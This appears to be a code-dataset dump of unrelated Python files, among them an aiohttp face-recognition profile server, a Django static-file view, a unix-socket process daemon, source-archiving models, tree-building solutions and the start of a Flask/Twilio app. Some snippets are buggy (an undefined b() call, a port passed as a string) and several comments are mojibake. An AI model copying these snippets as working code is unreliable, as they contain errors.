"95":"Storage Server Workgroup (evaluation installation)",
"96":"Storage Server Standard (evaluation installation)",
"97":"Windows RT",
"98":"Windows 8 N",
"99":"Windows 8 China",
"100":"Windows 8 Single Language",
"101":"Windows Home",
"103":"Professional with Media Center",
"104":"MOBILE_CORE",
"123":"IOTUAP",
"143":"Windows Server Datacenter Edition (nano installation)",
"144":"Windows Server Standard Edition (nano installation)",
"147":"Windows Server Datacenter Edition (core installation)",
"148":"Windows Server Standard Edition (core installation)"
}
|
16,920 | 7661870871260212b405cf89322dea80cf11a1ad | import asyncio, time, ssl, pathlib,json
from aiohttp import web # ััะฐะฒะธะป pip3 install aiohttp
import db_log, sdk
import JsonDataBase as jdb
class Server(asyncio.Protocol):
async def req_post(request): # ะพะฑัะฐะฑะพััะธะบ ะทะฐะฟัะพัะฐ POST
print('connected, operation = POST')
params = request.query
print (request.method, params)
if params['operation']=='add_profile':
#params_text = params['text']
per = sdk.add_profile(name=params['name'],birth=params['birth'],
tag=params['tag'], gender=params['gender'])
id_user = per.pop('result')
error= per.pop('error')
jdb.AddInfo(id=id_user,name=params['name'],birth=params['birth'],
tag=params['tag'], gender=params['gender'])
db_log.other_operation(params['operation'],error=error,id_user=str(id_user))
return web.json_response(error)
elif params['operation']=='ident_profile':
data=await request.read()
file=open(r'srvimg/img.jpg','wb')
file.write(data)
rtrn = sdk.ident_profile()
db_log.other_operation(params['operation'], error=rtrn['error'], id_user=str(rtrn['result'][0]['profile_id']))
if rtrn['error']==0:
rtrn['score'] = rtrn['result'][0]['score']
rtrn['result'] = jdb.GetInfo(rtrn['result'][0]['profile_id'])
rtrn.pop('error')
return web.json_response(rtrn)
else:
return web.json_response('ะัะพัะธะปั ะฝะต ัะฐัะฟะพะทะฝะฐะฝ')
else:
return web.json_response(None)
async def req_put(request): # ะพะฑัะฐะฑะพััะธะบ ะทะฐะฟัะพัะฐ PUT
params = request.query
print(request.method, params)
print(params['operation'])
rtrn = dict()
if params['operation'] == 'update_profile':
if (jdb.GetInfo(params['id']) != None):
jdb.UpdateInfo(id=params['id'],name=params['name'],birth=params['birth'],
tag=params['tag'], gender=params['gender'])
else:
jdb.AddInfoid(id=params['id'],name=params['name'],birth=params['birth'],
tag=params['tag'], gender=params['gender'])
db_log.other_operation(params['operation'], error=0,id_user=params['id'])
return web.json_response(rtrn)
else:
return web.json_response(None)
async def req_del(request): # ะพะฑัะฐะฑะพััะธะบ ะทะฐะฟัะพัะฐ DELETE
params = request.query
print(request.method, params)
print('connected, method - DELETE')
id_del = params['id']
error = sdk.del_profile(id_del)
if (error!=1):
jdb.DelInfo(id_del)
db_log.other_operation(params['operation'],error, id_user=str(id_del))
return web.json_response(1)
async def req_get(request): # ะพะฑัะฐะฑะพััะธะบ ะทะฐะฟัะพัะฐ GET
params = request.query
print(request.method, params)
if params['operation']=='get_info':
return web.json_response(jdb.GetInfo(params['id']))
elif params['operation']=='get_all_id':
return web.json_response(jdb.GetAllId())
elif params['operation']=='get_log':
return web.json_response(db_log.select())
elif params['operation']=='get_profile_imgs_id':
return web.json_response(sdk.get_profile_imgs_id(params['id']))
elif params['operation']=='get_profile_image':
return web.json_response(sdk.get_profile_image(params['id']))
else:
return web.json_response(None)
if __name__ == "__main__":
app = web.Application()
# ัะฐะทัะตัะฐะตะผ ะผะตัะพะดั
app.router.add_post('/', Server.req_post)
app.router.add_get('/', Server.req_get)
app.router.add_put('/', Server.req_put)
app.router.add_delete('/', Server.req_del)
loop = asyncio.get_event_loop()
#ssl
here = pathlib.Path(__file__)
ssl_cert = here.parent / 'server.crt'
ssl_key = here.parent / 'server.key'
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_context.load_cert_chain(str(ssl_cert), str(ssl_key))
#ssl
server_coro = loop.create_server(app.make_handler(), 'localhost',8080,ssl=ssl_context)
server = loop.run_until_complete(server_coro)
loop.run_forever()
loop.close()
|
16,921 | 3a3644f9bea7a464f6369fa41b5fea26f5e469fd | # -*- coding: utf-8 -*-
a = 1
h = a
times = 0
while h < 380000000000:
h = h * 2
times += 1
print(times)
|
16,922 | 22b2b0cc544db3f28179f2ce8374acd991e86718 | # -*- coding:utf-8 -*-
'''
class Person:
number = 0
def __init__(self,name,gender,age):
self.name = name
self.gender = gender
self.age = age
Person.number += 1
def displayPerson(self):
print('Name:',self.name,"Gender:",self.gender,'Age:',self.age)
def displayNumber(self):
print('Total number:',Person.number)
stu1 = Person('Tang','M',22)
stu2 = Person('Zeng','F',21)
stu1.displayPerson()
stu2.displayPerson()
print('Total number:',Person.number)
stu1.displayNumber()
print(stu1.age)
#ๅจๅ้ข็ๅบ็กไธๅขๅ ๆนๅฑๆง
stu1.score = 90
print(stu1.score)
#sprint(stu2.score)
del stu1.score
print("The score:",stu1.score)
'''
'''
use function getattr(obj,property_name) to access a property
use function hasattr(obj,property_name) to check a property for presence and return True or False
use function setattr(obj,name,value) to create a property and set a value
use function delattr(obj,name) to delete a property
'''
class Car:
salesPrice = 150000
__manufacturePrice = 120000
def __init__(self,brand,serial):
self.brand = brand
self.__serial = serial
print("Public:",Car.salesPrice)
print("Private:",Car._Car__manufacturePrice)
c1 = Car('Toyota','Karola')
print("Public Brand:",c1.brand)
print("Private Serial:",c1._Car__serial)
|
16,923 | 7fe920974a57fb4155ae7ee6047e2291dea3ea9b | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
import mimetypes
import os
import posixpath
import stat
from django.contrib.staticfiles import finders
from django.http import Http404, HttpResponseRedirect, HttpResponseNotModified, FileResponse
from django.shortcuts import redirect
from django.utils.http import http_date
from urllib.parse import unquote
from django.views.static import was_modified_since
from django.utils.translation import ugettext_lazy as _
def index_serve(request):
return redirect('/static/', permanent=True)
def static_serve(request, path):
if not path:
path = 'index.html'
normalized_path = posixpath.normpath(unquote(path)).lstrip('/')
absolute_path = finders.find(normalized_path)
if not absolute_path:
if path.endswith('/') or path == '':
raise Http404("Directory indexes are not allowed here.")
raise Http404("'%s' could not be found" % path)
document_root, path = os.path.split(absolute_path)
path = posixpath.normpath(unquote(path))
path = path.lstrip('/')
newpath = ''
for part in path.split('/'):
if not part:
# Strip empty path components.
continue
drive, part = os.path.splitdrive(part)
head, part = os.path.split(part)
if part in (os.curdir, os.pardir):
# Strip '.' and '..' in path.
continue
newpath = os.path.join(newpath, part).replace('\\', '/')
if newpath and path != newpath:
return HttpResponseRedirect(newpath)
fullpath = os.path.join(document_root, newpath)
if os.path.isdir(fullpath):
fullpath = os.path.join(fullpath, 'index.html')
if os.path.isdir(fullpath):
raise Http404(_("Directory indexes are not allowed here."))
if not os.path.exists(fullpath):
raise Http404(_('"%(path)s" does not exist') % {'path': fullpath})
# Respect the If-Modified-Since header.
statobj = os.stat(fullpath)
if not was_modified_since(request.META.get('HTTP_IF_MODIFIED_SINCE'),
statobj.st_mtime, statobj.st_size):
return HttpResponseNotModified()
content_type, encoding = mimetypes.guess_type(fullpath)
content_type = content_type or 'application/octet-stream'
response = FileResponse(open(fullpath, 'rb'), content_type=content_type)
response["Last-Modified"] = http_date(statobj.st_mtime)
if stat.S_ISREG(statobj.st_mode):
response["Content-Length"] = statobj.st_size
if encoding:
response["Content-Encoding"] = encoding
return response
|
16,924 | b380d1b5646a6139c13921f3064a9006b5a3e209 | n=int(input())
current=0
maxi=0
while n>0:
rem=n%2
if rem is 1:
current+=1
if current>maxi:
maxi=current
else:
current = 0
n=n//2
print(maxi)
|
16,925 | d7617cf3b0d61eef929494fcbdc91b9ef99959aa | hello_str = "Hello world"
# 1.็ป่ฎกๅญ็ฌฆไธฒ็้ฟๅบฆ
print(len(hello_str))
# 2.็ป่ฎกๆไธไธชๅฐ๏ผๅญ๏ผๅญ็ฌฆไธฒๅบ็ฐ็ๆฌกๆฐ
print(hello_str.count("o"))
# 3.ๆไธไธชๅญๅญ็ฌฆไธฒๅบ็ฐ็ไฝ็ฝฎ
print(hello_str.index("e"))
# for i in range(1,5):
# print(i)
# i_list = [1,2,3,4]
# for i in i_list:
# print(i) |
16,926 | 344b6aa3f35a9c7b55ec8b3648a6b731a4a8d174 | import socket
IP = input("ip to send data: ")
PORT = input("ip's port to send data: ")
data = b(input("data to send: "))
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(data,(IP,PORT))
|
16,927 | 3dd2feaee2763ccf1f9e81d58e11d5ae4277ac2e | # featureA 1.0
# ๅๅนถdevelop |
16,928 | e85455a4f82980bdf708acfa8eaaed7877e78914 | import math
from collections import Counter
from Project.StringExtractor import strExtractParse
def entropy(s):
'''Calculates the entropy value for s.'''
p,lns = Counter(s), float(len(s))
return -sum( count/lns * math.log(count/lns, 2) for count in p.values())
def strEntropy(s):
'''Calculates entropy values for each substring in the script. '''
strings = strExtractParse(s)
l = []
for x in strings:
l+=[entropy(x)]
return l |
16,929 | 5db9d4966cd74736590334b25e3ed74a377cd985 | import csv
from django.shortcuts import render
from django.http import HttpResponse
from django.views.generic.base import View
import urllib.request
import json
from parser4.models import Twogis
class View(View):
def parse(request, *args, **kwargs):
response = HttpResponse(content_type='text/csv')
response['Content-Disposition'] = 'attachment; filename="somefilename.csv"'
writer = csv.writer(response)
writer.writerow(['oid', 'address', 'name', 'lat', 'lon'])
twogiss = Twogis.objects.all()
for twogis in twogiss:
writer.writerow([twogis.oid, twogis.address, twogis.name, twogis.lat, twogis.lon])
return response
def truncate(request, *args, **kwargs):
Twogis.objects.all().delete()
return HttpResponse('sad')
def count(request, *args, **kwargs):
return HttpResponse(len(Twogis.objects.all()))
def distinct(request, *args, **kwargs):
k = ''
for name in Twogis.objects.order_by('oid').distinct('oid'):
k += str(name.oid) + str(name.name) + str(name.address) + str(name.lat) + str(name.lon) + '<br>'
return HttpResponse(str(len(Twogis.objects.order_by('oid').distinct('oid'))) + '<br>' + k) |
16,930 | 675fddf03f1a63946f52817a2c07e2a1323e2b61 | from django.db import models
from django.utils import timezone
from django.contrib.auth.models import User
from django.urls import reverse
from django.contrib.gis.db import models as gis_models
from django.contrib.gis import forms
from django.contrib.gis.geos import Point
from location_field.models.spatial import LocationField
# Create your models here.
class Post(gis_models.Model):
title=models.CharField(max_length=100)
description=models.TextField()
upvotes=models.ManyToManyField(User,related_name="upvotes",blank=True)
img=models.FileField(default='gallery/construction.jpeg',upload_to='gallery/',null=True,blank=True)
city=models.CharField(max_length=20,default='kathmandu')
date_posted=models.DateTimeField(default=timezone.now)
author=models.ForeignKey(User,on_delete=models.CASCADE)
location=LocationField(based_fields=['pulchowk campus'],zoom=7,default=Point(85.3178166,27.6828417))
class Meta:
ordering=['-date_posted']
def __str__(self):
return self.title
def get_absolute_url(self):
return reverse('blog-home')
def total_upvotes(self):
return self.upvotes.count()
|
16,931 | 0797159247b870844c86d782050161d13dbf5db5 | import os
import sys
import asyncio
import json
from utils import scan_json
import traceback
import time
import config
import time
loop = asyncio.get_event_loop()
clients = {}
process_conn = None
log_time = 0
log_buffer = []
def response(conn, **res):
if not conn: return
# print("response="+repr(res))
conn.write(json.dumps(res).encode())
def send_log(client, **kwargs):
if len(log_buffer) < 1:
response(client['conn'], status='ok', log=[])
return
if 'time' in kwargs:
i = 0
while i < len(log_buffer):
if log_buffer[i]['time'] > kwargs['time']: break;
i += 1
else:
i = len(log_buffer)-kwargs['count']
response(client['conn'], status='ok', log=log_buffer[i:])
client['log_last_push_time'] = log_buffer[-1]['time']
def push_logs():
for (id, client) in clients.items():
if not client['properties']['push_notifications']: continue
if log_time > client['log_last_push_time']:
send_log(client, time=client['log_last_push_time'])
client['log_last_push_time'] = log_time
loop.call_later(config.log_push_interval, push_logs);
def log(message, **kwargs):
if 'level' in kwargs:
message = '['+time.strftime('%H:%M:%S ')+kwargs['level']+'] ' + message
global log_time, log_buffer
new_time = time.time()
while new_time <= log_time:
new_time += 0.001
log_time = new_time
sys.stdout.write(message)
log_buffer.append({
'time': log_time,
'message': message
})
if len(log_buffer) > config.backlog:
log_buffer.pop()
class ProcessProtocol(asyncio.SubprocessProtocol):
def connection_made(self, transport):
global process_conn
process_conn = transport
log("process started\n", level='CONSOLE')
def pipe_data_received(self, fd, data):
log(data.decode())
def process_exited(self):
global process_conn
process_conn = None
log("process stopped\n", level='CONSOLE')
def default_properties():
return {
'keep_connection': False,
'push_notifications': False,
}
class APIException(Exception):
pass
_id = 0
class ServerProtocol(asyncio.Protocol):
def connection_made(self, transport):
global _id
_id += 1
self.client = {
'id': _id,
'conn': transport,
'properties': default_properties(),
'log_last_push_time': 0
}
clients[_id] = self.client
self.buffer = b'';
def connection_lost(self, exc):
del clients[self.client['id']]
def data_received(self, data):
conn = self.client['conn']
self.buffer += data
while True:
(req, been_read, error) = scan_json(self.buffer)
self.buffer = self.buffer[been_read:]
if error:
response(conn, status="error", error=error)
if not self.client['properties']['keep_connection']:
conn.close()
return
continue
if not req: break
# print("request ="+repr(req))
serve_request(self.client, req)
if not self.client['properties']['keep_connection']:
conn.close()
return
def serve_request(client, req):
conn = client['conn']
try:
if 'method' not in req:
response(conn, status="error", error="missing parameter 'method'")
return
method = req['method']
if method not in method_dispatch_table:
response(conn, status="error", error="unknown method "+repr(method))
return
res = method_dispatch_table[method](client, req)
if res: response(conn, **res)
except APIException as e:
response(conn, status="error", error=str(e))
except Exception as e:
trace = traceback.format_exc()
print(trace)
response(conn, status="error", error=trace)
def check_fields(req, *fields):
for f in fields:
if f not in req: raise APIException("missing parameter '"+f+"'")
def get_log(client, req):
if ('time' not in req) and ('count' not in req): raise APIException("either 'time' or 'count' must be specified")
if 'count' in req:
send_log(client, count=req['count'])
return
send_log(client, time=req['time'])
def set_property(client, req):
check_fields(req, 'key', 'value')
client['properties'][req['key']] = req['value']
return {'status': 'ok'}
def daemon_command(client, req):
check_fields(req, 'command')
cmd = req['command'].lower()
if cmd == 'start':
if process_conn: raise APIException("process already running")
if not os.path.exists(config.process_working_directory): raise Exception("directory '"+config.process_working_directory+"' does not exist")
if not os.path.isdir(config.process_working_directory): raise Exception("'"+config.process_working_directory+"' is not a directory")
loop.create_task(
loop.subprocess_exec(ProcessProtocol, *config.process_command_line, cwd=config.process_working_directory)
)
return {'status': 'ok'}
raise APIException("unknown daemon command '"+cmd+"'")
def process_command(client, req):
check_fields(req, 'command')
cmd = req['command']
if cmd[-1] != '\n': cmd += '\n'
if not process_conn: raise APIException("process not running at the moment")
process_conn.get_pipe_transport(0).write(cmd.encode())
return {'status': 'ok'}
method_dispatch_table = {
'get_log': get_log,
'set_property': set_property,
'daemon_command': daemon_command,
'process_command': process_command,
}
try:
os.remove(config.daemon_socket)
except FileNotFoundError:
pass
socket_server = loop.run_until_complete(
loop.create_unix_server(ServerProtocol, config.daemon_socket)
)
push_logs();
print("started")
try:
loop.run_forever()
except KeyboardInterrupt:
print("\nKeyboardInterrupt")
pass
socket_server.close()
loop.run_until_complete(socket_server.wait_closed())
os.remove(config.daemon_socket)
loop.close() |
16,932 | b60c35fc74ee322d3fa29f545f931d0640d87206 | #! /usr/bin/env python
# coding: utf-8
# Author: Joรฃo S. O. Bueno
# Copyright (c) 2009 - Fundaรงรฃo CPqD
# License: LGPL V3.0
# adapted for Python 3.9; copy_dependencies() and find_module_files()
# added by Yul Kang
from types import ModuleType, FunctionType
from typing import Sequence
import sys, os, shutil
from importlib import reload
from traceback import print_exc
# from builtins import ModuleNotFoundError
from pylabyk.cacheutil import mkdir4file
def copy_dependencies(
module: ModuleType,
out_dir: str,
incl: Sequence[str] = (),
excl: Sequence[str] = (),
) -> (Sequence[str], Sequence[str]):
"""
:param module:
:param out_dir:
:param incl:
:param excl:
:return: files_src, files_dst
"""
files_src = find_module_files(module, incl=incl, excl=excl)
files_dst = []
os.mkdir(out_dir)
cwd = os.getcwd()
for file in files_src:
dst = file.replace(cwd, os.path.join(cwd, out_dir))
mkdir4file(dst)
files_dst.append(dst)
print(f'Copying {file.replace(cwd, "")}\nto {dst.replace(cwd, out_dir)}')
shutil.copy(file, dst)
print(f'Copied {len(files_src)} files to {out_dir}')
return files_src, files_dst
def find_module_files(
module: ModuleType, incl: Sequence[str] = (), excl: Sequence[str] = ()
) -> Sequence[str]:
"""
:param module:
:param incl:
:param excl:
:return:
"""
tree = find_all_loaded_modules(module)
tree_w_file = []
files = []
for module in tree:
try:
if module.__file__ is not None:
files.append(module.__file__)
tree_w_file.append(module)
except (AttributeError, ImportError):
print_exc()
files = [
f for f in files if
(any([s in f for s in incl])
and not any([s in f for s in excl]))
]
return files
def find_all_loaded_modules(module, all_mods = None):
"""
from https://stackoverflow.com/a/1828014/2565317
:param module:
:param all_mods:
:return:
"""
if all_mods is None:
all_mods = {module}
try:
for item_name in dir(module):
try:
item = getattr(module, item_name)
if type(item) in [type, FunctionType]:
print(f'Found {item.__name__} in {item.__module__}')
if item.__module__ is None:
continue
item = __import__(item.__module__)
print('--')
# raise RuntimeError(
# f'{item_name} is imported directly in '
# f'{item.__module__} - '
# f'Import module instead to enable finding '
# f'all dependencies!')
except (AttributeError, ModuleNotFoundError, ImportError):
# print('--')
print_exc()
continue
if isinstance(item, ModuleType) and not item in all_mods:
all_mods.add(item)
find_all_loaded_modules(item, all_mods)
except ImportError:
print_exc()
all_mods = all_mods - {module}
return all_mods
def find_dependent_modules():
"""gets a one level inversed module dependence tree"""
tree = {}
for module in sys.modules.values():
if module is None:
continue
tree[module] = set()
for attr_name in dir(module):
attr = getattr(module, attr_name)
if isinstance(attr, ModuleType):
tree[module].add(attr)
elif type(attr) in (FunctionType, type):
tree[module].add(attr.__module__)
return tree
def get_reversed_first_level_tree(tree):
"""Creates a one level deep straight dependence tree"""
new_tree = {}
for module, dependencies in tree.items():
for dep_module in dependencies:
if dep_module is module:
continue
if not dep_module in new_tree:
new_tree[dep_module] = {module} # set([module])
else:
new_tree[dep_module].add(module)
return new_tree
def find_dependants_recurse(key, rev_tree, previous=None):
"""Given a one-level dependance tree dictionary,
recursively builds a non-repeating list of all dependant
modules
"""
if previous is None:
previous = set()
if not key in rev_tree:
return []
this_level_dependants = set(rev_tree[key])
next_level_dependants = set()
for dependant in this_level_dependants:
if dependant in previous:
continue
tmp_previous = previous.copy()
tmp_previous.add(dependant)
next_level_dependants.update(
find_dependants_recurse(dependant, rev_tree,
previous=tmp_previous,
))
# ensures reloading order on the final list
# by postponing the reload of modules in this level
# that also appear later on the tree
dependants = (list(this_level_dependants.difference(
next_level_dependants)) +
list(next_level_dependants))
return dependants
def get_reversed_tree():
"""
Yields a dictionary mapping all loaded modules to
lists of the tree of modules that depend on it, in an order
that can be used fore reloading
"""
tree = find_dependent_modules()
rev_tree = get_reversed_first_level_tree(tree)
compl_tree = {}
for module, dependant_modules in rev_tree.items():
compl_tree[module] = find_dependants_recurse(module, rev_tree)
return compl_tree
def reload_dependences(module):
"""
reloads given module and all modules that
depend on it, directly and otherwise.
"""
tree = get_reversed_tree()
reload(module)
for dependant in tree[module]:
reload(dependant) |
16,933 | 6534cbb0c9a67a655c9537f4aa05f159767c7e7b | import threading
import uuid
import re
import requests
import reversion
from django.conf import settings
from django.contrib.auth import get_user_model
from django.urls import reverse_lazy
from django.db import models
from django.db.models.signals import post_save
from django.dispatch import receiver
from django.contrib.auth.models import User
from django.utils.translation import gettext as _
from django.utils.translation import ngettext
from django_date_extensions.fields import ApproximateDateField
from sfm_pc.utils import VersionsMixin
from . import fields as source_fields
def get_deleted_user():
return get_user_model().objects.get_or_create(username='deleted user')[0]
class GetSpreadsheetFieldNameMixin:
"""
Mixin to allow models with source_fields to retrieve the
spreadsheet_field_name for a given source_field.
"""
@classmethod
def get_spreadsheet_field_name(cls, field_name):
return cls._meta.get_field(field_name).spreadsheet_field_name
@classmethod
def get_verbose_field_name(cls, field_name):
return _(cls._meta.get_field(field_name).verbose_name).title()
@reversion.register(follow=['accesspoint_set'])
class Source(models.Model, GetSpreadsheetFieldNameMixin, VersionsMixin):
uuid = models.UUIDField(primary_key=True, default=uuid.uuid4)
title = source_fields.TextField(verbose_name=_("publication title"), spreadsheet_field_name='source:title')
type = source_fields.CharField(max_length=1000, null=True, blank=True, spreadsheet_field_name='source:type')
author = source_fields.CharField(max_length=1000, null=True, blank=True, spreadsheet_field_name='source:author')
publication = source_fields.TextField(null=True, verbose_name=_("publisher"), spreadsheet_field_name='source:publication_name')
publication_country = source_fields.CharField(
max_length=1000,
verbose_name=_("publication country"),
null=True,
spreadsheet_field_name='source:publication_country'
)
# We store both date and timestamp fields for the following values because
# sometimes sources have partial dates and sometimes they have full
# timestamps. In practice, these fields should be treated as mutually
# exclusive, and the get_date() methods should be used to retrieve
# the canonical value.
published_date = source_fields.ApproximateDateField(
verbose_name=_("publication date"),
blank=True,
default='',
spreadsheet_field_name='source:published_timestamp'
)
published_timestamp = source_fields.DateTimeField(
verbose_name=_("publication timestamp"),
blank=True,
null=True,
spreadsheet_field_name='source:published_timestamp'
)
created_date = source_fields.ApproximateDateField(
verbose_name=_("creation date"),
blank=True,
default='',
spreadsheet_field_name='source:created_timestamp'
)
created_timestamp = source_fields.DateTimeField(
verbose_name=_("publication timestamp"),
blank=True,
null=True,
spreadsheet_field_name='source:created_timestamp'
)
uploaded_date = source_fields.ApproximateDateField(
verbose_name=_("upload date"),
blank=True,
default='',
spreadsheet_field_name='source:uploaded_timestamp'
)
uploaded_timestamp = source_fields.DateTimeField(
verbose_name=_("publication timestamp"),
blank=True,
null=True,
spreadsheet_field_name='source:uploaded_timestamp'
)
source_url = source_fields.URLField(max_length=2500, null=True, blank=True, spreadsheet_field_name='source:url')
date_updated = models.DateTimeField(auto_now=True)
date_added = models.DateTimeField(auto_now_add=True)
user = models.ForeignKey(settings.AUTH_USER_MODEL,
on_delete=models.SET(get_deleted_user))
def __str__(self):
if self.title is None:
return ""
return self.title
def get_absolute_url(self):
from django.urls import reverse
return reverse('view-source', args=[self.uuid])
def _get_date_or_timestamp(self, date_type):
timestamp = getattr(self, '{}_timestamp'.format(date_type))
date = getattr(self, '{}_date'.format(date_type))
return timestamp if timestamp else date
def get_published_date(self):
"""
Get the canonical value for the date this Source was published. This
method is useful because in practice published_date and
published_timestamp should be mutually exclusive, and at runtime we don't
necessarily know which one will be set for a given Source.
"""
return self._get_date_or_timestamp('published')
def get_created_date(self):
return self._get_date_or_timestamp('created')
def get_uploaded_date(self):
return self._get_date_or_timestamp('uploaded')
@property
def related_entities(self):
"""
Return a list of dicts representing the access points that are linked
to this source.
Dicts must include the following metadata:
- name
- archive_url
- page_number
- access_date
- url (of the Edit view for the access point)
"""
related_entities = []
for point in self.accesspoint_set.all():
related_entities.append({
'name': str(point),
'archive_url': point.archive_url,
'page_number': point.trigger,
'accessed_on': point.accessed_on,
'url': reverse_lazy(
'update-access-point',
kwargs={'source_id': self.uuid, 'pk': point.uuid}
)
})
return related_entities
@property
def revert_url(self):
from django.urls import reverse
return reverse('revert-source', args=[self.uuid])
@reversion.register()
class AccessPoint(models.Model, GetSpreadsheetFieldNameMixin, VersionsMixin):
uuid = models.UUIDField(primary_key=True, default=uuid.uuid4)
type = source_fields.CharField(max_length=1000, null=True, blank=True, spreadsheet_field_name='source:access_point_type')
trigger = source_fields.CharField(max_length=255, null=True, blank=True, spreadsheet_field_name='source:access_point_trigger')
accessed_on = source_fields.DateField(null=True, verbose_name=_("access date"), spreadsheet_field_name='source:accessed_timestamp')
archive_url = source_fields.URLField(max_length=2500, null=True, spreadsheet_field_name='source:archive_url')
source = models.ForeignKey(Source, null=True, to_field='uuid', on_delete=models.CASCADE)
user = models.ForeignKey(settings.AUTH_USER_MODEL,
on_delete=models.SET(get_deleted_user))
def __str__(self):
point_name = self.archive_timestamp
if self.trigger:
# Check if the page number is a range; if so, indicate to ngettext
# that the string should be plural. See:
# https://docs.djangoproject.com/en/2.2/topics/i18n/translation/#pluralization
is_range = 2 if ('-' in self.trigger or ', ' in self.trigger) else 1
# Translators: This fragment references to the page numbers in an access point.
pages_str = ngettext(
'(Page %(pages)s)',
'(Pages %(pages)s)',
is_range
) % {
'pages': self.trigger
}
point_name += ' ' + pages_str
if self.accessed_on:
point_name += ' - ' + _('Accessed on %(date)s') % {'date': self.accessed_on}
return point_name
@property
def archive_timestamp(self):
"""Given an access point archive_url, parse the timestamp."""
match = re.search(r"web\.archive\.org/web/(\d{14})/", self.archive_url or '')
if match:
return match.group(1)
else:
return _('No timestamp')
@property
def related_entities(self):
"""
Return a list of dicts of all entities that are evidenced by this
access point.
Dicts must have the following keys:
- name
- entity_type
- field_name
- url (a link to edit the entity)
"""
related_entities = []
for prop in dir(self):
if prop.endswith('_related'):
related = getattr(self, prop).all()
if related:
for entity in related:
record_type = entity.object_ref._meta.object_name
entity_metadata = {
'name': str(entity),
'record_type': record_type,
'field_name': entity._meta.model_name.replace(record_type.lower(), '').title(),
'value': entity.value,
'url': None
}
# Links for top-level entities
if record_type in ['Organization', 'Person', 'Violation']:
entity_metadata['url'] = reverse_lazy(
'edit-{}'.format(record_type.lower()),
args=[entity.object_ref.uuid]
)
# Standardized relationship links
elif record_type in ['Emplacement', 'Association']:
entity_metadata['url'] = reverse_lazy(
'edit-organization-{}'.format(record_type.lower()),
kwargs={
'organization_id': entity.object_ref.organization.get_value().value.uuid,
'pk': entity.object_ref.pk
}
)
# Irregular relationship links
elif record_type == 'Composition':
entity_metadata['url'] = reverse_lazy(
'edit-organization-composition',
kwargs={
'organization_id': entity.object_ref.parent.get_value().value.uuid,
'pk': entity.object_ref.pk
}
)
elif record_type == 'MembershipPerson':
entity_metadata['url'] = reverse_lazy(
'edit-organization-personnel',
kwargs={
'organization_id': entity.object_ref.organization.get_value().value.uuid,
'pk': entity.pk
}
)
elif record_type == 'MembershipOrganization':
entity_metadata['url'] = reverse_lazy(
'edit-organization-membership',
kwargs={
'organization_id': entity.object_ref.organization.get_value().value.uuid,
'pk': entity.pk
}
)
related_entities.append(entity_metadata)
return related_entities
def archive_source_url(source):
if source.source_url:
wayback_host = 'http://web.archive.org'
save_url = '{0}/save/{1}'.format(wayback_host, source.source_url)
archived = requests.get(save_url)
source.archive_url = '{0}{1}'.format(wayback_host,
archived.headers['Content-Location'])
source.save()
#@receiver(post_save, sender=Source)
def get_archived_url(sender, **kwargs):
source = kwargs['instance']
thread = threading.Thread(target=archive_source_url,
args=[source])
thread.start()
|
16,934 | 2a38b4a30d56678cafa1ce3f963526b8b156e48e | # Time Complexity : O(n^2)
# Space Complexity O(n)
# Did this code successfully run on Leetcode : Yes
# Any problem you faced while coding this : No
# Your code here along with comments explaining your approach
'''
Since postorder is left right root therefore the last element of the postorder list will be root
using the roort from postorder finding the root and its index in the inorder traversal
Based on the root finding the rightinorder, left inorder, right post order and left psot order
Recursively traversing on right side and the left side
'''
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def buildTree(self, inorder: List[int], postorder: List[int]) -> TreeNode:
if(len(inorder) == 0 or len(postorder)==0):
return None
indx = -1
a = len(postorder)
root = TreeNode(postorder[a-1]) # last elemet of postorder is the root
for i in range(len(inorder)):
if(inorder[i] == postorder[a-1]): # finding the root in the inorder list
indx=i
break
leftin = []
rightin = []
leftpost=[]
rightpost = []
# finding the righthand and left hand side of the tree
leftin = inorder[:indx]
rightin = inorder[indx+1:]
leftpost = postorder[:indx]
rightpost = postorder[indx: a-1]
# recusrively traversing on the right and the left hand side
root.right = self.buildTree(rightin, rightpost)
root.left= self.buildTree(leftin,leftpost)
return root
##########################################################################################
#Problem 2:
# Time Complexity : O(n)
# Space Complexity O(1), Recursive Stack: O(n)
# Did this code successfully run on Leetcode : Yes
# Any problem you faced while coding this : No
# Your code here along with comments explaining your approach
'''
traversing on the left and right hand side of the tree
calculating the sum at every node using the formula val1*10 + root.val
if both the left and right nodes are present that traversing the left node and calculating the sum
simimlarl traverse the right node and claulate the sum and add both the sum together.
Once Done recurse back
'''
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def sumNumbers(self, root: TreeNode) -> int:
return self.helper(root, 0)
def helper(self, root:TreeNode, val1):
#Base case
if(not root):
return 0
if not root.left and not root.right: # if no children nodes are there
return val1*10 + root.val;
#logic
# if children nodes are present. Calculate the sume at each childeren node and sum them
return (self.helper(root.left, val1*10+root.val) + self.helper(root.right, val1*10+root.val))
|
16,935 | 8e1f3fcb4bcc421a56653a4940224a089538f6d1 | from flask import Flask, request, redirect, session, render_template, Response, make_response
from flask_cors import CORS, cross_origin
from flask_basicauth import BasicAuth
from datetime import datetime
from time import gmtime, strftime, mktime
from twilio.twiml.voice_response import Gather, VoiceResponse, Say
import boto3
import requests
import os
import uuid
import pytz
import json
from ffmpy import FFmpeg
import subprocess
from random import randint
import parsedatetime as pdt
from email import utils
app = Flask(__name__)
app.secret_key = os.environ['SESSKEY']
app.config['BASIC_AUTH_USERNAME'] = os.environ['BAUSER']
app.config['BASIC_AUTH_PASSWORD'] = os.environ['BAPASS']
basic_auth = BasicAuth(app)
# Approved callers
callers = {
os.environ['NS'] : "Neal",
os.environ['RM'] : "Richard",
os.environ['SL'] : "Steve"
}
emailers = {
os.environ['NSE'] : "Neal",
os.environ['RME'] : "Richard",
os.environ['RME2'] : "Richard",
os.environ['SLE'] : "Steve"
}
### METHODS THAT ACTUALLY DO THINGS
# get date components (month, day, year) from s3 filenames
def getdatefromfilename(text):
day = int(text[-6:-4].lstrip("0").replace(" 0", " "))
month = int(text[5:-7].lstrip("0").replace(" 0", " "))
year = int(text[:4])
date = datetime(year=year, month=month, day=day)
return month, day, year, date
# get all episodes (for alexa feed)
def geteps():
try:
s3 = boto3.client( 's3',
aws_access_key_id=os.environ['S3KI'],
aws_secret_access_key=os.environ['S3SK'])
print "Connected to s3!!"
